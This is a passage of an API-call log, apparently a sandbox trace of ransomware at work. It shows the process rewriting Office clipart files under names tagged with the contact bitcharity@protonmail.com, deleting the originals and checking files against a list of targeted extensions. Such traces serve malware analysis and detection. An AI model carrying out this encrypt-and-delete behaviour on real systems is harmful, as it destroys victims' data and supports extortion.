WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x380, lpOverlapped=0x0) returned 1 [0153.757] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.757] WriteFile (in: hFile=0x10b4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.757] SetEndOfFile (hFile=0x10b4) returned 1 [0153.758] CloseHandle (hObject=0x10b4) returned 1 [0153.761] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.761] SetEndOfFile (hFile=0x103c) returned 1 [0153.762] CloseHandle (hObject=0x103c) returned 1 [0153.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0153.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0153.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0154.605] lstrlenW (lpString=".doc") returned 4 [0154.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.605] lstrlenW (lpString=".docx") returned 5 [0154.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.605] lstrlenW (lpString=".pdf") returned 4 [0154.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.605] lstrlenW (lpString=".xls") returned 4 [0154.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.605] lstrlenW (lpString=".xlsx") returned 5 [0154.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.605] lstrlenW (lpString=".ppt") returned 4 [0154.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0154.605] lstrlenW (lpString=".zip") returned 4 [0154.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.606] lstrlenW (lpString=".rar") returned 4 [0154.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.606] lstrlenW (lpString=".bz2") returned 4 [0154.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.606] lstrlenW (lpString=".7z") returned 3 [0154.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0154.606] lstrlenW (lpString=".dbf") returned 4 [0154.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0154.606] lstrlenW (lpString=".1cd") returned 4 [0154.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0154.606] lstrlenW (lpString=".jpg") returned 4 [0154.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.607] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.607] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0154.608] GetLastError () returned 0x0 [0154.608] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0154.642] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0154.643] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.643] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.643] SetEndOfFile (hFile=0x103c) returned 1 [0154.643] CloseHandle (hObject=0x103c) returned 1 [0154.650] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.650] SetEndOfFile (hFile=0x10cc) returned 1 [0154.668] CloseHandle (hObject=0x10cc) returned 1 [0154.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.670] lstrlenW (lpString=".doc") returned 4 [0154.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.674] lstrlenW (lpString=".docx") returned 5 [0154.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.675] lstrlenW (lpString=".pdf") returned 4 [0154.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString=".xls") returned 4 [0154.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.675] lstrlenW (lpString=".xlsx") returned 5 [0154.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.675] lstrlenW (lpString=".ppt") returned 4 [0154.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.675] lstrlenW (lpString=".zip") returned 4 [0154.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.675] lstrlenW (lpString=".rar") returned 4 [0154.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString=".bz2") returned 4 [0154.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString=".7z") returned 3 [0154.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.675] lstrlenW (lpString=".dbf") returned 4 [0154.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.675] lstrlenW (lpString=".1cd") returned 4 [0154.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0154.675] lstrlenW (lpString=".jpg") returned 4 [0154.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.676] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.676] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0154.677] GetLastError () returned 0x0 [0154.677] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0154.749] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0154.751] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.751] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.751] SetEndOfFile (hFile=0x103c) returned 1 [0154.751] CloseHandle (hObject=0x103c) returned 1 [0154.754] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.756] SetEndOfFile (hFile=0x10cc) returned 1 [0154.757] CloseHandle (hObject=0x10cc) returned 1 [0154.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0154.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.758] lstrlenW (lpString=".doc") returned 4 [0154.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.758] lstrlenW (lpString=".docx") returned 5 [0154.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.758] lstrlenW (lpString=".pdf") returned 4 [0154.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.758] lstrlenW (lpString=".xls") returned 4 [0154.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.758] lstrlenW (lpString=".xlsx") returned 5 [0154.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.758] lstrlenW (lpString=".ppt") returned 4 [0154.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.759] lstrlenW (lpString=".zip") returned 4 [0154.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.759] lstrlenW (lpString=".rar") returned 4 [0154.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.759] lstrlenW (lpString=".bz2") returned 4 [0154.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.759] lstrlenW (lpString=".7z") returned 3 [0154.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.759] lstrlenW (lpString=".dbf") returned 4 [0154.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.759] lstrlenW (lpString=".1cd") returned 4 [0154.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0154.759] lstrlenW (lpString=".jpg") returned 4 [0154.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.760] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.760] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0154.761] GetLastError () returned 0x0 [0154.761] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0154.825] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0154.826] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.826] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.827] SetEndOfFile (hFile=0x103c) returned 1 [0154.827] CloseHandle (hObject=0x103c) returned 1 [0154.838] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.839] SetEndOfFile (hFile=0x10cc) returned 1 [0154.840] CloseHandle (hObject=0x10cc) returned 1 [0154.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.842] lstrlenW (lpString=".doc") returned 4 [0154.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".docx") returned 5 [0154.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.842] lstrlenW (lpString=".pdf") returned 4 [0154.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".xls") returned 4 [0154.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.842] lstrlenW (lpString=".xlsx") returned 5 [0154.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.842] lstrlenW (lpString=".ppt") returned 4 [0154.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.843] lstrlenW (lpString=".zip") returned 4 [0154.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.843] lstrlenW (lpString=".rar") returned 4 [0154.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString=".bz2") returned 4 [0154.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString=".7z") returned 3 [0154.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.843] lstrlenW (lpString=".dbf") returned 4 [0154.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.843] lstrlenW (lpString=".1cd") returned 4 [0154.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0154.843] lstrlenW (lpString=".jpg") returned 4 [0154.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.845] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.845] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0154.845] GetLastError () returned 0x0 [0154.846] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xd16, lpOverlapped=0x0) returned 1 [0154.866] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xd20, lpOverlapped=0x0) returned 1 [0154.870] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.870] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0154.870] SetEndOfFile (hFile=0x103c) returned 1 [0154.870] CloseHandle (hObject=0x103c) returned 1 [0155.334] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.335] SetEndOfFile (hFile=0x10cc) returned 1 [0155.336] CloseHandle (hObject=0x10cc) returned 1 [0155.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0155.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.337] lstrlenW (lpString=".doc") returned 4 [0155.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.337] lstrlenW (lpString=".docx") returned 5 [0155.337] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0155.337] lstrlenW (lpString=".pdf") returned 4 [0155.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.337] lstrlenW (lpString=".xls") returned 4 [0155.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.337] lstrlenW (lpString=".xlsx") returned 5 [0155.337] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0155.337] lstrlenW (lpString=".ppt") returned 4 [0155.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.337] lstrlenW (lpString=".zip") returned 4 [0155.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.337] lstrlenW (lpString=".rar") returned 4 [0155.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.337] lstrlenW (lpString=".bz2") returned 4 [0155.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.337] lstrlenW (lpString=".7z") returned 3 [0155.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.337] lstrlenW (lpString=".dbf") returned 4 [0155.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.338] lstrlenW (lpString=".1cd") returned 4 [0155.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0155.338] lstrlenW (lpString=".jpg") returned 4 [0155.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.338] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.338] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0155.339] GetLastError () returned 0x0 [0155.339] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x876, lpOverlapped=0x0) returned 1 [0155.472] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x880, lpOverlapped=0x0) returned 1 [0155.474] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.474] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.474] SetEndOfFile (hFile=0x103c) returned 1 [0155.474] CloseHandle (hObject=0x103c) returned 1 [0155.481] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.481] SetEndOfFile (hFile=0x10cc) returned 1 [0155.483] CloseHandle (hObject=0x10cc) returned 1 [0155.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0155.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.484] lstrlenW (lpString=".doc") returned 4 [0155.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".docx") returned 5 